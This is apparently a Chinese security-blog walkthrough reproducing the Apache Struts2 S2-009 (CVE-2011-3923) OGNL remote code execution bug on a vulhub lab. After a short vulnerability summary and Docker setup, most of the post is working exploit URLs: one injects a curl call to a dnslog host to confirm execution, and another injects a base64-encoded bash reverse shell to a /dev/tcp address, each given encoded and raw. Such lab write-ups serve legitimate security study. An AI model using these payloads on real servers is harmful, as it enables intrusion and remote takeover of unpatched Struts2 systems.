CVE-2011-3923 S2-009 远程代码执行漏洞

原创

用户8478947

发布于 2022-12-22 16:29:59

4460

发布于 2022-12-22 16:29:59

文章被收录于专栏：安全学习

1 漏洞信息

漏洞名称	远程代码执行漏洞
漏洞编号	CVE-2011-3923
危害等级	高危
漏洞类型	中间件漏洞
漏洞厂商	Apache
漏洞组件	Struts2
受影响版本	2.0.0 <= Struts2 <= 2.3.1.1
漏洞概述	OGNL还提供广泛的表达评估功能。该漏洞使恶意用户可以绕过内置在ParametersInterceptor中的所有保护（正则表达式模式，拒绝方法调用），从而能够在任何公开的字符串变量中注入恶意表达式以进行进一步评估。

2 环境搭建

2.1 环境概述

Linux操作系统

2.2 搭建过程

拉取镜像

 cd vulhub/struts2/s2-009
 docker-compose up -d

访问http://192.168.146.158:8009

3 漏洞复现

构造一个恶意的payload并发送。

 http://192.168.146.158:8009/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27curl+5quvn8.dnslog.cn%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true=true
 
 payload原型：
 http://192.168.146.158:8009/ajax/example5?age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('curl 5quvn8.dnslog.cn'))(meh)&z[(name)('meh')]=true=true

发现dns有记录，说明存在该漏洞。

既然发现漏洞了，那我们可以开始反弹shell

 bash -i >& /dev/tcp/192.168.146.158/9999 0>&1
 base加密
 bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}

访问漏洞url并且添加恶意payload进行抓包。

 http://192.168.146.158:8009/ajax/example5?age=12313&name=%28%23context[%22xwork.MethodAccessor.denyMethodExecution%22]%3D+new+java.lang.Boolean%28false%29,%20%23_memberAccess[%22allowStaticMethodAccess%22]%3d+new+java.lang.Boolean%28true%29,%20@java.lang.Runtime@getRuntime%28%29.exec%28%27bash+-c+%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27%29%29%28meh%29&z[%28name%29%28%27meh%27%29]=true=true
 
 payload原型：
 http://192.168.146.158:8009/ajax/example5?age=12313&name=(#context["xwork.MethodAccessor.denyMethodExecution"]= new java.lang.Boolean(false), #_memberAccess["allowStaticMethodAccess"]= new java.lang.Boolean(true), @java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE0Ni4xNTgvOTk5OSAwPiYx}|{base64,-d}|{bash,-i}'))(meh)&z[(name)('meh')]=true=true